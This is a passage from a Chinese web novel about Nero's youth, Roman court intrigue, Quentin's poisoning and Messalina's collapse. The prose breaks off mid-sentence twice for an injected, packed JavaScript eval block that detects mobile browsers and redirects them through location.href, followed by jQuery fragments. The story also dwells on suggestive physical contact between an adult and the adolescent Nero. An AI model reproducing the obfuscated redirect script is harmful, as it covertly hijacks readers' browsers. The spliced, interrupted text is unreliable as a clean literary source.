门希扬起一个绳索牵制般的僵笑,“我来向您道贺。”
“噢……”尤利乌斯吹起一撇胡子,一道揶揄的精光象昆虫一样从他瞳孔里钻出。
他的腿脚象蜡油一样在地上滑动,油滑地走到门希面前,“轻慢的奥托大人屈尊纡贵,来主动拜访他的旧相好,这真是一件罕见的事啊……”
门希白了他一眼,半眯起的眼缝间透出幽闪的蓝光,犹如弯刀,“往事已经埋进土里了。”
“别这么戒备嘛!”尤利乌斯吞掉嘴里甜橄榄的碎末,甜涩的气味就从他的唇齿散出。
他懒散地抄着胳膊,以轻如纸屑的眼神瞄着门希说:“多亏了你及时离开,才让我知道原来女人和阉奴都比你好玩多了!”
门希厌恶他这种不护细行的做派。
他漠然地偏过脸,可称为凸出的颧骨固执地朝向他的旧情人。
“我不是来跟您叙旧的。”他吐出淡漠的字眼,“我为铁定的继任者昆汀而来。”
“直接说你的目的!”尤利乌斯胶腻的眼珠斜到眼角,不冷不热地说:“别绕弯子!门希。我太了解你肚子里装的那些曲曲折折的心肠了!”
门希顿住,双唇犹如鬼火一般扑闪两下。他的话语也象忽闪不定的游魂,幽幽地从嘴唇之间飘出来:“……你还记得那柄金剑吗?”
“哼!”尤利乌斯从喉咙深处发出干笑,戏谑道,“你这颗脑袋里果然只装着那个赌徒皇帝!”
门希站定,一丝青色压在他深刻的眉眼,好象从眼球慢慢泛起淤青。
他如十字架般站立,面无表情地说道:“我出身高贵,在元老院德高望重。除了那个远走高卢的雷珂将军,我几乎没有敌人……”
“可你也没有朋友。”尤利乌斯冷不丁来一句。
门希对他的调侃置之不理,淡然地自我推荐道:“我拥有赫赫军功和雄厚背景,将来去做你外孙的亲卫,是不是绰绰有余呢?”
尤利乌斯惊愣,诧异好象胶皮一样套住他的面庞。他的语句一字一顿,从乱草一般的胡须间蹦出来:“你要当近卫军长官?!”
门希点头,“没错。”
沉默如铁皮般封住了尤利乌斯的嘴唇。他粗大的双唇鼓动两下,从粘腻的舌尖蹿出惊讶的字:“那只不过是个普通的骑士就能做的职位……”
门希脊背如铁杆般笔直,一动不动。
尤利乌斯的眸中拱起一丝深暗。他嗓音沉钝:“我知道你很疯狂,但没想到你已经到了癫狂的地步……”
“我也曾向你的皇帝女婿提过这个请求,但他婉拒了……”门希的蓝眸子动荡一下,如有巨浪席卷,“他披着一张驼背弯腿的老鼠皮,却有一颗不屈不挠的心脏!他可不是表面上看到的那么好欺负……”
“如果只是为了拿到金剑,你大可不必这样做。”尤利乌斯轻描淡写。他整理一下大敞着的领口,将里面浓重的胸毛遮蔽起来。纵欲过度使他顶着一对沉重的黑眼圈。
“我要的不只是金剑!”门希焦躁地抓两把头发。
阴鸷象一块在水里沉浮的木头,从他的灵魂里慢慢泡胀,几乎要撑破他粉饰太平的皮囊。
他用指甲一下下抠着铠甲,抠出噌噌的声响,“我更想要那个名号……”
奴隶手捧托盘,为尤利乌斯端来一壶玫瑰花汁。他把花汁喷洒在主人身上,这使尤利乌斯始终保持清香的气味。
尤利乌斯深深地吸一口气,粗胖的指头伸进胡须里,挠了两把痒,“看在你曾与我同床共枕的份上,我答应你的请求。我算不算一个跟你相似的性情中人?”
门希容色轻缓。他一直紧张着的脚背松弛,蚯蚓般突出的血管瘪了下去。
他刻意拿捏出拉紧的架势,迈出如剑光扫过的步子,铠甲相碰出决然的声响。
“你模仿泰勒斯倒是蛮象。”尤利乌斯突然冒出一句。
门希如被闪电击中了脊背。他僵僵地转过身,如一只推不动的石磨盘。
狰狞的神色如病菌般迅速埋没他的金发碧眼。他五官扭曲,好象一只被激怒的豺狼,“不要提这个名字!”他恶狠狠地说。
“开个玩笑嘛……”尤利乌斯滑腻的眼珠转动两圈,赔着笑说。
他用脚尖指了指殿门里面,露出一个放|荡的笑容,“要不要进来共同享乐?我最近新买了一些年轻的男孩,有的甚至还会吹长笛和编绳子……”
“我对阉奴不感兴趣。”门希背对他说。
他即刻就抬脚离开了,脚步锋利得很做作,象套着一只紧缚的硬壳。
……
身陷疟疾的尼禄每天都发高烧。
他身上的腻汗不退,好象全身每一处都结上一层薄薄的痂皮。
奴隶手捧汤碗走进病床,搅拌几下熬煮得泛黑的甘草水。这种药草水具有退烧的作用。
尼禄在如坠冰窟的寒症发作后,就要遭受炙烤般的热,好象从一间地狱走进另一间地狱。
他烧得意识模糊,脑袋里好象卡进一只筛子,筛出一滩碎碎的、游动的东西。
罗德坐在灯烛旁,戴着那双露半指的黑手套,微红的暖光如绒毛般拨动在他的面庞。
他把着一只尖锐的铁锥,在厝石上反复打磨,直到磨去所有锈迹。
罗马人相信,发烧是血液里的毒素所致。因此,他们通过刺破皮肉放血的方法来退烧。
红烛光如蜜丝般拉伸在空气里,被罗德刻意压低的打磨声犹如夜虫鸣叫。
罗德幽邃的黑眸倒映出锥尖的光点。他伸出一根指头,抵在锥尖,指肚瞬间被戳出一颗血珠。
他不在意地甩去血点,将尖锥横置在烛火上炙烤,来到尼禄床边。
尼禄如冬眠般蜷着,黯淡的银发象被风干的象牙,已经没有了意气风发。
罗德掀开他的被子。尼禄被冷意惊动,缩成一颗散发浓烈甘草味的球。
“我冷……”他不舒服地蹬两下腿,慢腾腾地扭动起来。他的咽喉里有几声呜咽隐动,锁骨消瘦得宛如细杆。
“快醒吧!”罗德说,“您该上药了。”
尼禄悠悠地睁开眼,这一瞬间的眼瞳如一潭清水;等到他恢复意识,这双金眸便溜进一些兽眼般的深重颜色。
罗德拽动他的衬衣,露出一片苍白的肚皮。他的肚脐象一颗黑纽扣般嵌进瘦削的腰腹。
初醒的尼禄毫无防备。他猛地捂着腰腹,把通红的脸转到令人惊讶的程度。
“别这样……罗德……”他的嗓音略带沙哑。
“别误会。”罗德捏起一片丁香,贴在他的肚脐上,“我只是在帮您放退烧的药草。”
敏感的尼禄如被刺痛般抖一下。
丁香的湿凉象狡猾的螽虫,一点点钻进他的皮肉,再无声地啃咬进他的四肢百骸。那里太凉,以至于烫人了。
尼禄眼神迷离,极靠近本能之处被罗德拂过。这时,罗德如山泉般的清冽味与丁香的鲜烈芳香交融了,这是一种令人遐想的气味。
他的喉头吞咽一下。
罗德给他盖好被子,如疾光一样去返,取来炙烤得发烫的尖锥。
“把手给我。”罗德坐到床边,黑色的身影有如一座遮天蔽日的山峰。
他盯着尼禄,如水雾般氤氲的烛光使他有一点阴柔。他端丽的眼睛宛如宝石。
尼禄主动撸起袖子,显出一小截小臂,“你来吧……”他表现得很乖巧。
他的肌肤相当白皙,象一层半透明的白色冰层,淡紫色的血管被冻结在下面,十分细弱。
罗德抓过尼禄的手,戴着的皮手套硬实而硌人,露出的半截手指性感又禁|欲,近乎要象烙铁一样烙揉进尼禄的皮肉。
尼禄怔神。他枯瘦的手宛如狡兔般,倏地就摸上罗德握着尖锥的手。
罗德眼锋一抬,利刃般的目光扫进尼禄的双眼。
“怎么了?”罗德低声问。
尼禄没有说话。暗红的烛光跃动在他的眼底,象两颗血红的胞胎在蠢动。
他紧握罗德的手,往自己的小臂上猛地一扎,动作快如闪影。
这一幕与前世极相似。罗德神色微滞,一串温热的血点飞溅到他的脸上。
他骤然捏紧尼禄的手,呼吸急迫了一瞬。
“以后别这么做。”罗德用盘子接住涌出的血,紧绷地说。
尼禄那宛如枯蛾之翼的嘴唇一个卷翘,刻印出一闪而过的微笑。
他微笑得极为寂静,象流云消逝于另一朵流云中。
19. 海边的生日
安东尼骑马来到长兄的家宅,手里提着一双绣有紫丝线的军靴。
乳白的长袍象泡沫一样覆盖他。他的小腿包裹着铁甲,宛如铁棒一样击打着马匹。
他跳下马,叹出一口无奈的气,脸色如上锈一样沉重。
之前他与兄长吵得不欢而散。顾及亲情的他主动来向门希示好。
门希听到禀报,脚步如水母飘动般走出来,于是他看向安东尼的眼神也显得飘忽不定。
他披着铠甲,颗颗甲片象鱼鳞一般织在他身上,被阳光反射出银鳞色的光。
他轻飘飘的眼光落到安东尼身上,嘴里闪出幽闪的字眼:“你还是个骑士,不能穿元老才能穿的白袍……”
兄长的告诫使安东尼喜悦,光亮如白鲨般跃起在他海蓝的眼眸里。
“都怪那群比烂泥还恶心的海盗!”安东尼如一只飞鱼一样蹿到他身边,“是他们搅乱了我平步青云的计划!”
他亲密地挽住门希的手臂,摆出一副委屈的表情:“为了让财产早日达到元老的级别,我每天不得不与一群没教养的商人交涉,那简直就是噩梦!”
门希沉着脸,干练宛如粘液般渗出他的皮肤,“经商来钱太慢,你倒不如立点政绩。一片奖赏而来的土地,能抵得上两船丝绸的价格。”
安东尼狡猾的眼珠转动两圈,攀紧了门希的手臂。谄笑宛如阴沟般咧开在他的唇角。
“果然这个世上只有你对我最好……”他以一种不符年龄的撒娇口吻说。
他打量着门希的脸色,谨慎地开口道:“那天……是我的态度不好。当时我的头脑热得就象被巫女施了妖术……”
门希摇两下头,眼中飘过一点微弱的锋意。他努了努嘴说:“……算了。”
安东尼松了口气,肌肉紧绷的肩膀如释重负。
“我不像你这么聪明,哥哥。没什么学识的我只能通过经商来赚钱……”他的眉眼间跃起一丝羡慕。
“我梦想能成为一名穿白袍的元老……”他越说声音越低,自卑如长刀般刻入他的语气,“但现在我只有那点可怜的军权,连一个指挥官都可以不听我的指令……”
“不要急。”门希沉着地说,“我会在元老院为你开辟席位的。”
奴隶端着铜盆走上来,为做客的安东尼洗干净手,还尽责地给他涂抹一层羊脂膏。
奴隶的满头银发如火星般掉进他的眼里。
愠怒的红色在安东尼脸上升腾着,被他的理性拼命地压制,宛如网中困兽。
“现在你连奴隶都要买银发的了?”他语气不善地说。
门希怔一下,怀念的话语从他唇齿间婉转地透过来:“我只是在追忆他而已。”
安东尼的不满如沸腾的水泡般咕咕冒出。他无法压制这种长久累积的恼怒,眼角已有轻微的红色。
“他不值得你这么做。”他嘀咕着,“我听说……你还去向尤利乌斯请求近卫军长官的位置……”
憋闷的字眼从他唇齿间一个个蹦出,“一个立下战功的将军去当个侍卫……这太荒唐了!”
“然而这并不能动摇我的权力。”门希连忙辩驳。
他压低下颌,一片暗影如冥水般掩埋他的口齿。他垂坠的眼睑略微发颤,那是一种扭曲的眷恋。
“我要的,不过是个本该属于我的名号而已……”他低声说。
“可卡里古拉只要他的泰勒斯。”安东尼终究是忍不住,小声咕哝一句。
门希松弛的面颊痉挛一下,深暗的蓝眸宛如夜间沉海。一种久远的痛苦占据他的脑际,如食肉之虫般啃噬他的头骨。他的身体象是被电击般,脸色于一瞬间就面如死灰。
“我不想再因为同一件事跟你吵架!安东尼。”门希不悦地说。
安东尼顿了顿,识趣地闭上嘴。
奴隶收好羊脂膏,亲吻主人的脚后跟,安静地退去了。
他的脖子上戴着珍贵的宝石项链,门希对他不薄。
安东尼摸两下鼻子,好整以暇地说:“眼下罗马的局势已定。麦瑟琳娜是皇帝的妻子,将来又会成为皇帝的母亲……”
得意在他的口吻深处隐隐跳动:“我已经占据了巨大的优势!”
门希想了一会,神色担忧地说:“也许到时候他会更新鲜的男宠去满足她。要知道,她是个出名的欲壑难填的荡|妇!”
“那就随她!”安东尼不屑一顾,“那个头脑空空的贱|人,就只能倚靠她的父亲作威作福!要不是尼禄那个小倒霉鬼得了疟疾,她一定不是阿格里皮娜的对手!”
门希直立着,一丝戒备绞紧在他的眉心。他眉间的皱纹宛如沟壑。
他心有余悸地说:“阿格里皮娜凭借奥古斯都的血脉,已经笼络了法院。法院里那帮思想陈腐的老顽固们,就象水蛭贴紧血肉一样攀附她!”
“她就是一只冬天里的苍蝇,飞不了多长时间了!”安东尼揶揄道,“尼禄一死,她就会被麦瑟琳娜找个机会流放到行省。据我所知,得了疟疾的人多半不会存活。”
门希默认。他的肩甲被凉风吹动起来,如一片干燥的罂|粟壳。
……
卧室里的药草味浓烈得有点呛鼻,宛如吸入一口密集的烟灰。
此时夜深,已经月上枝头。
尼禄象一颗枯草一样蜷在被窝里,鼻息是丝线般的轻弱。他的两腮凹陷下去,颧骨孤傲地高出。他已经到了瘦骨嶙峋的地步。
奴隶忙活着,将药草水洒在他的床榻。尼禄睁开眼,眼珠好象凝固成水泥一样呆滞。
他刚刚从一场昏睡中醒过来,宛如从深渊爬出。
罗德走进卧室,脚步飞快,如一阵疾风般来到病榻前。
一层薄汗罩在他的脸庞,在烛光下宛如一张镶满钻石的面具。
他的长发打着卷,被汗黏在脖颈上,黑衣也落了泥灰,散发着一股海腥味的潮气。
尼禄水泥般的眼珠移了移,苍黄的眼底倒映出一抹凌厉的黑影。
他张了张嘴,言语从干涩的喉咙飘出,好象一粒粒尘沙:“……你今天一整天去哪儿了?”
罗德笑笑,没有理会他的问题。
他坐上桌子,笔直的双腿随意交叠,从果盘里拿出一只苹果。他用沾满沙泥的袖子蹭掉上面的灰,咬出响亮的一口。
心性悲观的尼禄此刻感到绝望。他陷入病痛,比平时更敏感,竟然产生了一种对人性的失望。
“就连你……也……”他无法继续说下去。
酸涩从他心底涨起来,一点点销蚀他的血管。他的眼眶里泛起雾气,枯紫的双唇隐秘地震动。酸意好象挣扎在蛹壳里的飞蛾,即将从眼睑处喷涌而出。
罗德沉缓地靠近床边,如乌云一样伏下身子。
他摸上尼禄凉凉的额头,“烧退了。”他说。
尼禄用手背挡住眼睛,惨白的脸如血滴入水般有了一丝晕红。
罗德拍了拍他的脸,笑着说:“消极什么?”
他凑近他的鬓角,可称为热烫的双唇在动弹。他稳固的气息如爬虫般钻进尼禄的耳朵。
年少而细腻的尼禄缩一下脖子,产生一种欲拒还迎的羞涩。
“穿好衣服,我要带您去个地方……”罗德声音低沉地说。
于是尼禄裹得象
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239636|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一只毛熊,脚步笨重地跟着他上了马车。
两人辘辘地来到海边。
天与海都是暗色,交融得没有界限,那么海不过是褶皱了的天空。一轮圆月在极远处,好象一颗倒吊着的灯烛。
尼禄缩在斗篷里,过于瘦弱的脸庞使他神情阴鸷。他的眼窝深陷,覆有一层浓黑的影子。银发被月光照得象透明的蛛丝。他鲜厉的红袍象一颗坚硬的朱砂,硌进这过分安宁的夜海。
略带腥气的海风扑打在他低烧的脸上,他舒服极了。
罗德走到海边,棉絮般的浪潮流动在他半身。
他忙活着,在那里架起一只圆环,环上扎着一圈黑布。
在尼禄的视野里,月亮就恰好被圆环卡住。
海面偶有浪花滚来,浪潮声如虫蟊蠢动般在暗处涌动。
罗德走回尼禄身边,走姿轻盈得如黑丝绸飘至而来,海滩上被踩出一长串漂亮的脚印。
尼禄惊疑。他的眸中蹿出一丝火热,被夹在浓密的两睫之间。
“这是什么?”他抬手指向圆环。
“一会您就知道了。”罗德眼里流转着碎星般的泽光,“我费了一天时间弄这个!”
他冲尼禄神秘地微笑,接着就点燃火把,稍作瞄准后朝圆环一扔。
火把如车轮般辗轧过空气,一端的火苗在暗夜里划出一圈圈连续的圆。
破风声响动几下,火苗如蜻蜓点水般擦过圆环,黑布即刻就被引燃。
金黄的火焰沿着圆环跑一圈,画出一只熠熠闪亮的圆圈。
倒映在尼禄金棕眼眸中的光点也转一圈,宛如在乳黄树脂里游动的细小飞虫。
“上面的黑布浸透了油。”罗德轻轻说一句,燃烧声夹杂在他的话语中。
视觉下,月亮就这么长出一圈飘忽跳跃的火焰。它在燃烧,好象火神伏尔甘从嘴里吐出的一颗火球,马上就要坠入海里。而时间恰恰定格于此。
尼禄满脸惊艳。他的斗篷帽被海风吹落,他也没有察觉到。
“那是昆汀送来的丧服……”罗德把乱乱的鬓发挂到耳后,桀骜绽开在他勾翘的唇角,“我想烧它。”
尼禄愣神。他从没有过如此诡谲的视觉。这种激荡的、颠覆常识的画面,打开了他观察世界的另一双眼。他有一种行将胀裂的感动。
尼禄蜜色的眼眸一动,就将罗德的侧颜揽入其中。
火光宛如金箔般贴附在他的黑眸,他的五官是不可名状的俊秀。罗德的魅力,是从灵魂深处自发而来的;而这种魅力太甚,终于从皮囊中满溢出来。
过于美丽的事物,总是蕴含着什么哲学。
尼禄产生一种信仰式的倾慕。
罗德揽住尼禄的肩,飘逸的发丝拂在他耳边。
“喜欢吗?”罗德轻语。他略带慵懒的嗓音宛如神谕。
“嗯!”尼禄使劲地点头,久违的童真满覆他的面颊。他激动地抓紧罗德的手,病恹恹的相貌好象点亮一般恢复生气。
罗德狡黠一笑,突然搂过尼禄,将下颌放到他单薄的肩膀上。
他的微笑十分柔和,原来他的内心是坚固贝壳里的嫩肉。
他的声音十分温柔,好象珠贝那样圆润而干净:“生日快乐,尼禄。”
尼禄觉得一阵头晕目眩。
罗德站直身子,又是那副凌驾一切的强硬气质。他时刻都能保持无懈可击的架势。
“今天是您的生日……”他随性的声音被海风吹得时大时小,“您有什么心愿要许?”
尼禄迷恋般地紧盯罗德的美目。眩晕感中,他凭直觉,几乎是脱口而出:“我想长大。”
20. 昆汀之死
尼禄有病在身,两人没有在海边停留很久,很快就动身回家。
刚刚踏进家宅,阿格里皮娜幽闪的白影就如一颗海沙一般硌入眼底,引起不适的硌痛感。
尼禄心里一紧。
阿格里皮娜还穿着睡衣,镶满金丝线的袖口被吹得翻飞,一头银发乱得象交缠一团的丝线。
“你去哪儿了?”她严厉地说,眉睫染有一层激动的浅红,“我等了你很久!”
尼禄捂紧斗篷帽,帽子的深影遮住他一半脸孔。他的眉眼尽被阴暗所覆盖,只有一双枯燥的口唇露出来,被月光照得发白。
“你别管。”他冷漠地说。他的下颌骨消瘦到尖细的程度,好象他的话语是由骨头挤压出来的。
阿格里皮娜踩出一串幽飘的脚步,疾快地走到尼禄眼前。
她摸一把尼禄的前额,惊喜如细丝般夹杂在她强势的口吻中:“听奴隶说你的体温低了很多,果然如此。”
尼禄挪过脸,巧妙地避开她的碰触,平淡地说:“你找我干什么?”
阿格里皮娜苍白的皮肤隐显潮红,象凝结一片红胶。一丝喜悦不可避免地从她眼瞳放射出来。
“我来告诉你一个喜讯。”她抄起胳膊,一副霸道的派头。
尼禄从帽檐下望向她,眼睛即使在暗影中,都有尖刺般的聚光。他有一种从骨子里深埋而来的阴鸷。
“是什么?”他细薄的嘴唇飘出冷语。
阿格里皮娜定住一会。接着,一个可称为嚣张的笑容裂开在她冷淡的面目。她笑得弯下腰捂住肚子,全身都笑得颤抖。笑声如刀锯一样从她素净的双唇刺出来,听着十分刺耳,好象她这辈子从没这么开心过。
尼禄不语。他的眼睛随着母亲痉挛般的抖动而移动。
阿格里皮娜笑得支撑不住,将胳膊挂上尼禄的双肩。她叹息一声,以一种带着恶意的口气说:“昆汀死了……”
罗德站在尼禄背后,神情微变,有一丝惊愕如细针般从他眼瞳中刮过。
“死了?”尼禄惊疑,表情僵滞着,各占一半的光与影拼接在他脸部,使他看上去有点凶狞。
昆汀肥油似的身影在他眼帘后头流走。重大的变故使他恍惚了一瞬间。
尼禄顿了顿,口气锋锐地问:“他怎么死的?”
“谁知道呢……”阿格里皮娜轻蔑地一笑,“也许是吃太多撑死的。他就象一只永远都吃不饱的猪崽子!”
尼禄沉默起来。他压着眉锋,阴暗的眉眼下透出一点病态的快意。
“按照礼节,我们该去见他最后一面。”阿格里皮娜继续道,“趁他的尸体现在还没有冷……”
尼禄回过头,那双半剔透的琥珀色眼瞳擦过帽檐,冷不丁地闯入罗德视线。清冷的月光洒下来,将他清透的眼瞳一照到底,那里清澈得什么都没有。
罗德陡然按紧长剑,剑刃与剑鞘碰出整肃的撞击声。他冲他扯出一个刀戈般的轻笑。
……
麦瑟琳娜得知儿子垂危的消息时,还在往脸上糊玫瑰花汁调制的面膜。她畜养的阉奴站在背后,正在小心地为她捶背。
一个女奴慌慌张张地跑进来,青白的脸上挤满汗水。她几乎是摔倒在麦瑟琳娜脚边。
麦瑟琳娜将鬓角的一丝红发绺整理好,面色不悦地说:“不要表现得这么慌乱,给我丢脸的贱东西!”
女奴的嘴唇张了张,脊背哆嗦着,声音微弱地说:“昆汀……昆汀不行了……医生说他好象要死了……”
麦瑟琳娜糊面膜的动作停滞一下,她的眼球象结冰一样呆愣一瞬。
可倏而她又安然地往脸上喷玫瑰花水,悠闲地说:“你说错名字了吧!应该是尼禄吧!”
“不……”女奴摇头,“就是昆汀……是您的儿子啊……”
女奴的低声宛如诅咒般传入耳朵。麦瑟琳娜僵硬住,一股类似沥青的胶着力从她脚底猛然冲到头顶,好象她的全身即将碎成一块块。她开始耳鸣,眼前浮起一片白雾,脸皮犹如昆虫啃咬般发麻。
阉奴不声不响停下捶背的动作,紧张地退到一边。
麦瑟琳娜想站起身,却一下子从铜椅上滑落下来。她头晕得无法站立。
“还不快扶我过去……”她还糊着面膜,声音虚弱地下了个命令。
……
昆汀四肢扭曲地躺在床上,抽搐似的蠕动着。
他油腻的嘴角流出白沫,盈满血丝的眼球外凸,青紫的脸色如同猪肝。他的肥肉随着扭动而晃荡,口鼻因为呼吸困难而发出猪吃食的吭哧声响。
他就象一条在腐败食物里蠕动的蛆。
奴隶和医生面色凝重地僵立,见到来临的皇后纷纷跪下来。
麦瑟琳娜腿脚打晃,脸上的面糊斑驳,象脱掉一半的老树皮。
她不由地哆嗦起嘴唇,牙齿冷得直撞。她的视野在瞥到儿子时瞬间就发黑,象黑雾一样遮蔽视野,这使她晃晃悠悠地趴倒在床边。
“我……我……”白沫象群蛆一样从昆汀口中涌出。他蟾蜍般的眼珠毫无神采,滚圆的肚皮象波浪翻滚似的痉挛。
麦瑟琳娜视野不清,耳边象被水灌满一样什么也听不见。她开始头疼,疼痛象恶鬼食人一样要绞碎她的头骨。
昆汀有如溺水般蹬踹着双腿。粗壮的血管从他肥厚的皮肤下凸显出来,他想说话,但一张开嘴就是白沫。
麦瑟琳娜在浑浑噩噩中摸索到他青紫的肥手。面糊一点点从她脸上剥落。
“昆汀……昆汀……”她有气无力地呼唤着儿子,难以置信地摇头晃脑,“你想说什么……”
她话音未落,昆汀猛抽一下,浑圆的肚皮痉挛一样抽动。他接连吐出一口肮脏的血沫。
他蹬踹的肥脚渐渐松懈,扭曲地歪向两侧,最终象僵死的虫子一样安然不动。他一命呜呼了。
麦瑟琳娜的红发上落满儿子呕出的血沫。
她脸色青白,好象憨傻了一样呆愣着。
忽然,她抽出手,开始拼命打自己的脸,耳光声越来越大,好象在确认这是不是一个梦。
她的嘴角被抽打出血,面糊甩飞得到处都是。她好象被恶鬼夺取了意志,令人毛骨悚然。
四周的奴隶赶忙上来,拉开了她沾满秽物的手掌。
麦瑟琳娜精神恍惚,巨大的打击使她连哭泣的精力都没有。
她失去了一贯的凶悍样子,怔怔地晃动着脑袋,面颊象面包一样肿起。
“他怎么会这样……”她揪住一个奴隶问。
奴隶战战兢兢地禀告:“……大人当时正在吃东西……”他不敢再说,胆怯地住了嘴。
麦瑟琳娜松开他,空洞的眼睛往餐桌一扫,立刻就如蠕虫般黏住桌下的一只陶罐。
她愣愣地眨两下眼睛,站不起身的她象狗一样爬过去,抱住了陶罐。
麦瑟琳娜的思绪倒回。这只陶罐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239637|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是她从女巫手里买来的。
当时这罐里装满了剧毒的红色药粉。毒粉形似藏红花粉,连气味都极其接近。
她反应了一会,忽然尖叫一声。
奴隶们都被她的叫声吓一跳,一个个都噤若寒蝉。
麦瑟琳娜面容狰狞。她怔出神,好象没有了灵魂似的,僵硬地从陶罐里挖出一坨鱼酱。
她闻了闻味道,突然低低地笑一声,笑声象气泡一样瞬间泯灭。
昆汀肥大的尸体就在她背后躺着,散发出阵阵的恶臭。
“我的儿子啊……”麦瑟琳娜长叹道。
她崩溃地大笑起来。逐渐地,苦涩慢慢爬上她的眼梢,她抽动着嘴角,干脆躺倒在地上,四肢象蛇一样扭动,眼泪跟呕吐物和面糊混和一起。她又哭又笑。
这时,很多闻讯赶来的贵族都躲在门口,紧张兮兮地往里窥视。
他们都接到消息,来见昆汀的最后一面,而屋里的景象令人惊怖,所有人都不敢进门。
阿格里皮娜于此时到来。她换回一身黑裙袍,脸庞因为未出卡里古拉的丧期而保持素颜。
尼禄跟在她身后。大病未愈的他,披着厚实的黑斗篷,必须在罗德的搀扶下才能稳步走动。
麦瑟琳娜摔碎陶罐,污红色的鱼酱流淌一地。她坐在鱼酱里,彷徨地抱着双膝。突如其来的绝望使她仿佛失去心智。
“不该是昆汀啊……”她自说自话,疑惑的表情僵持在她脸上,“不该是啊……”
阿格里皮娜驻足在门口,眼里冒出冰霜般的冷光。她冷淡地站着,一副不痛不痒的模样。
麦瑟琳娜目光一扫,如伺机报复的冤魂般紧盯她的仇敌。
她粗声喘着气,惨白的脸象被刷了一层颜料似的涨红。
她的双腿一蹬,猛地从地上跳起来,抄起餐桌上的水果刀,大步朝阿格里皮娜跳过去。
麦瑟琳娜一把抓过她的肩膀,一连串动作快得犹如幽灵,让人来不及反应。
门外面的贵族们发出惊呼声。这一瞬间阿格里皮娜受惊,骤然紧缩的眼里倒映出高举起的尖刀。
罗德如一道黑光般闪身而出,下落的刀光在他深渊般的黑眼睛中划过一道晶亮。
他冷静地拔剑,一扫而过。
金属碰撞出尖利的声响,麦瑟琳娜的尖刀轻易就被挡掉了。
尖刀的寒光在空中旋转几圈,倏地戳到了罗德握剑的手。
他的皮肤绽开,一道鲜血从伤口飞甩出去,一时间鲜血淋漓。
罗德仅是皱一下眉,隐蔽地甩掉手背上的血。
人群后的尼禄一个激灵,从拥挤的贵族间硬是挤过来,紧张地抓住他流血的手。
“你没事吧?”尼禄慌乱地问道,担忧如黑布般蒙他瘦到深陷的眼窝处。
他盯着罗德汩汩而出的鲜血,忽然感到晕眩一下。
“没什么。”罗德面色平静。他从尼禄僵硬的怀里撤回手,撕掉一截衣袖,潦草地包扎着。
奴隶们拦腰抱住失控的麦瑟琳娜。她满身秽物,呕吐物粘乎乎地挂她身上,有种令人恶心的怪味。
她指向阿格里皮娜,神经质地挥舞手臂,尖声嚎叫着:“为什么不是你的儿子?!”
阿格里皮娜心悸地后退两步,一贯严持的脸孔冒出虚惊的冷汗。
麦瑟琳娜双目充血地挣扎着。她狂乱地抽搐几下,就身子一僵,直挺挺地晕倒在地上……
21. 隐晦的表白
尼禄大病初愈。他病愈的消息,宛如飞鸽一样传散到罗马的每一处角落。
此时罗马已入秋季,冷意如动脉一样跳动在空气里。间隔着青苔的石板路上,已落有层层枯黄的树叶,整座罗马宛如被黄叶淹没。奴隶清扫树叶味道的街道,显露出拼接在地上的马赛克画。
罗德躺在榕树上,这已然成为他专有的位置。
他的手包裹着皮手套,黑发散成一团,刚硬的下颌被跳跃的树影染着,洁净的黑衣已擦出几道树间的灰泥。
他在把玩一堆黑漆漆的小玩意儿,发出一连串清脆的碰撞声。
这些小玩意儿是他托女奴从摊铺上买来的。
尼禄推开百叶窗,眼睛被涌进来的强光刺痛,眯成一条金丝缕般的缝。
他恢复得还算不错,清瘦的脸部有生机勃勃的红润。他的眼睛显出一点微弱的深邃。那一小片淡色的雀斑变得更淡,马上就要彻底褪下去。
树叶的清苦味涌动在尼禄的鼻尖下,罗德顽强的黑影如巨洪一般强闯他的眼底。
一道阳光从叶间溜进来,折出一道七彩的光棱。
罗德凌厉的黑眼睛看过来,咧出一个强硬的微笑,冲尼禄招了招手。
他明丽的五官被黑发遮掩一半,尖锐的眉尾微微斜指,那后面便是波纹般的细碎阳光、以及轻盈的树影。他的手臂抬起一个刚毅的角度,象一只未拉之弓。
罗德自带有一种荆棘的气味;而非得是这种暗黑而凶戾的气味,才能使他的美毕露无遗。
树叶窸窸窣窣的声音如脆铃在远处晃动,清光如金流沙般撒进树缝。
尼禄的视野晃荡一下。他觉得,他所见识过的所有艺术,都不及罗德的这一招手。
“过来。”罗德向他伸出手,轻柔的语句从他硬邦邦的双唇间吐出,一下下打击在尼禄情窦初开的心尖。
尼禄呆愣一会,抓着他的皮手套,蹬上窗口,借着他的力气轻巧地跳到树上。
罗德靠近他,下巴上还有一点没剃干净的胡茬,眉眼间尽染清新的树色。
他捏了捏尼禄纤细的手掌,顺着指缝一路摸过去,最终摸到尼禄指尖的茧子。
他硬实的指甲刮出一道轻痒。尼禄正值身心发育的年龄,刚刚觉醒了朦胧的情|欲;罗德哪怕是一点点无意的触碰,都能使他涌起一股粘稠的情谊。
尼禄的手指微微发抖。
罗德用指甲按了按他的茧子,调笑着说:“果然有茧子。我听说每个弹竖琴的人都有这个。”
他朝尼禄摊开手掌,上面有十颗指甲大小的小玩意儿,呈现一种暗沉的墨绿色。
“这是什么?”尼禄浓密的睫毛眨动两下,不解的情绪从他稚气初褪的脸孔蔓延开来。
他的喉结已经顶出,使他宛如青涩果实上的第一丝红晕,有一些成熟的意志。
